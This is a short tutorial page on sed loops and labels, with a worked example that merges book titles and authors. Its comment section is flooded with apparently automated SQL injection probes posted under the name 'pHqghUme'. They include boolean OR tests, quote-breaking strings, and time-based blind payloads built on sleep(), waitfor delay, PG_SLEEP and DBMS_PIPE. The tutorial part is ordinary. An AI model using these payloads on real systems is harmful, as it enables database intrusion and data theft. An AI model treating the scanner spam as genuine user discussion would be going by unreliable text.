Stream Editor - Loops


SED facilitates branching and looping so that we can control the flow of execution.A loop in SED work like a goto statement. The SED can move to the line marked by the label and continue to execute the remaining commands.

\\ A name after colon(:) implies the label name.    
:label 
:start 
:end 
:up


NOTE : If we want to jump to a specific label, we can use the b command followed by the label name.

In our lfc.txt file, there are many entries from book authors and their titles. The following examples combines a book title and the name of its author to a one line seperated by a comma. Then it searches for the "Jawaharlal" pattern. If the pattern matches, it prints a hyphen (-) in front of the line, otherwise it jumps to the print label that prints the line.

Examples

$ sed -n ' 
h;n;H;x 
s/\n/, / 
/Jawaharlal/!b Print 
s/^/- / 
:Print 
p' lfc.txt
------------------
------------------
Walden, Henry David Thoreau
- The Discovery Of India, Jawaharlal Nehru
The Algebra of Infinite Justice, Arundhati Roy
Bookless in Baghdad, Shashi Tharoor
Adventures of Sherlock Holmes, Sir Arthur Conan Doyle


h;n;H;x and s/\n/, / :- combine the book title and its author separated by a comma(,).
/Jawaharlal/!b Print :- Print only when the pattern does not match.
:Print :- Print is just a label name.





Visit :


Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+378-378-1=0+0+0+1 --

pHqghUme
-1 OR 3+378-378-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+378-378) --

pHqghUme
-1 OR 3*2>(0+5+378-378) --

pHqghUme
-1 OR 2+881-881-1=0+0+0+1

pHqghUme
-1 OR 3+881-881-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+881-881)

pHqghUme
-1 OR 3*2>(0+5+881-881)

pHqghUme
-1' OR 2+168-168-1=0+0+0+1 --

pHqghUme
-1' OR 3+168-168-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+168-168) --

pHqghUme
-1' OR 3*2>(0+5+168-168) --

pHqghUme
-1' OR 2+776-776-1=0+0+0+1 or 'eE8n61VE'='

pHqghUme
-1' OR 3+776-776-1=0+0+0+1 or 'eE8n61VE'='

pHqghUme
-1' OR 3*2<(0+5+776-776) or 'eE8n61VE'='

pHqghUme
-1' OR 3*2>(0+5+776-776) or 'eE8n61VE'='

pHqghUme
-1" OR 2+817-817-1=0+0+0+1 --

pHqghUme
-1" OR 3+817-817-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+817-817) --

pHqghUme
-1" OR 3*2>(0+5+817-817) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
YDuPIspx'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 405=(SELECT 405 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 62=(SELECT 62 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 987=(SELECT 987 FROM PG_SLEEP(15))--

pHqghUme
f7yJp3Bi' OR 997=(SELECT 997 FROM PG_SLEEP(15))--

pHqghUme
XgOyqJf9') OR 552=(SELECT 552 FROM PG_SLEEP(15))--

pHqghUme
pol5SXhj')) OR 584=(SELECT 584 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@OCn5I

pHqghUme
555

pHqghUme
555

pHqghUme
555